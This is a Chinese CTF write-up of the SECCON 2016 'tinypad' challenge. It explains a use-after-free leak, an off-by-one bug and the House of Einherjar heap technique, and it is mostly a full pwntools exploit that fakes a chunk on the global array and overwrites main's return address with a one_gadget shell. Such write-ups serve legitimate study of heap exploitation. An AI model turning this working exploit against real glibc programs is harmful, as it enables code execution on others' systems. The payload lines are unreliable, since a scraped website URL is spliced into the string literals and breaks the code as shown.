Tinypad Seccon CTF 2016(House Of Einherjar)
序言
随着对程序运行how2heap的学习, 难度也是越来越大, 改革进入了深水区.
1.菜单
| [A] Add memo|
| [D] Delete memo|
| [E] Edit memo|
| [Q] Quit2. Add memo
(CMD)>>>A(SIZE)>>> 32
(CONTENT)>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdded.3. Delete memo
(CMD)>>> D(INDEX)>>> 1Deleted.4. Edit memo
(CMD)>>> E(INDEX)>>> 1
CONTENT: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(CONTENT)>>> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Is it OK?
(Y/n)>>> YEdited.5. Exit
(CMD)>>>Q程序分析
1. checksec
struct node{
int size;
char* s;
}tinypad[4];
Arch:amd64-64-little
RELRO:Full RELRO
Stack:Canary found
NX:NX enabled
PIE:No PIE (0x400000)结论:
Full RELRO代表我们不能复写got表.NX代表我们不能使用shellcode, Canary found代表我们不能使用栈溢出.说实话, 现在的CTF全国性质大赛使用栈溢出的题已经比较少了, 大部分都是PWN技能的高级应用.2. 内存泄露
通过观察发现, 程序定了一个tinypad的数组, 数组存放在0x6020140.Delete memo时程序只是将size置为0,将s对应的堆地址释放, 并没有将s本身置为NULL, 而程序就是通过判断s是否为空来进行显示对应的数组内容, 于是存在内存泄露.
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３.缓冲区
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通过上图分析, 程序会将4.一个假设0x602040作为一个编辑的缓冲去, 输入Y之后才会将输入内容复制到s对应的堆块中去.
假如我们能够分配一个地址在
0x602040附近, 那么我们就能通过分配足够的内存, 编辑tinypad数组的内容, 修改s指向的堆块, 实现任意地址读写.知识点讲解
1. Off By One
【Tinypad Seccon CTF 2016(House Of Einherjar)】2. House Of EinherjarOff By One经常和Hous Of Attack之类的技巧组合在一起.
该堆利用技术可以强制使得结论: 二者配合使用, 可以发挥无穷威力.malloc返回一个几乎任意地址的chunk.其主要在于滥用free中的后巷合并操作.
栗子
#include
#include
#include int main(void){
char* s0 = malloc(0x200);
//构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0);
char* s3 = malloc(0x20);
//为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200);
//读入fake chunk
printf("input s1\n");
read(0, s1, 0x19);
//Off By One
free(s2);
return 0;
} 对应的利用程序
from pwn import *p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))\
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()前
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后
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unsorted bin @ 0x7fb86398eb88
free chunk @ 0x17ff010 - size 0x320结论: 通过修改对应的
size, 我们几乎可以实现任意地址读写. 这个利用脚本将unsorted bin中的fd, bk指向我们fake chunk所在地址.漏洞分析
1.Off By One
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2. 逻辑漏洞
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结论: 可以显示释放后的地址的内容, 泄露堆地址.
过程
1. 泄露
原理: 利用
unsorted bin中的空闲块是双链表的特性.add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)
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2.House Of Einherjar
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
data = "https://www.it610.com/article/A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin
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3.攻击
将main函数的返回值地址修改为one_gadget地址
由于程序是现将size和s先存放入数组, 后读取内容, 我们可以控制index1指向的地址.
libc_base = main_arena + 0x58 - 0x3c4b78
one_gadget = libc_base + 0x45216
environ_pointer = libc_base + libc.[__environ]
log.info("libc_base: %s" % hex(libc_base))add(0xf8, "D"*(0x100-0x30) + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
'''
申请的大小必须为0xf8或0xf0, 要不然不会返回tinypad的地址.
'''
p.recvuntil(" #INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(environ_addr))
edit(2, p64(main_ret)) #修改为environ
edit(1, p64(one_gadget))#
p.interactive()完整EXP
from pwn import *p = process("./tinypad")
libc = ELF("./libc.so.6")
context.log_level = 'debug'def add(size, content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)def delete(index):p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))def edit(index, content, ok=True):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
if ok:
p.sendline("Y")
else:
p.sendline("n")#stage one
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)p.recvuntil(" #INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" #INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))delete(2)
delete(4)#stage two
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
for i in range(zero_byte_number+1):
data = "https://www.it610.com/article/A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
edit(1, data)delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)#gdb.attach(p)#stage three
libc_base = main_arena + 0x58 - 0x3c4b78
log.info("libc_base: %s" % hex(libc_base))
one_gadget =libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))p.recvuntil(" #INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
#p.recvall()
p.interactive()多说一句
其他思路也是可以修改相关链接top chunk,来做到这一点的, 无奈水平有限， 以后再分析
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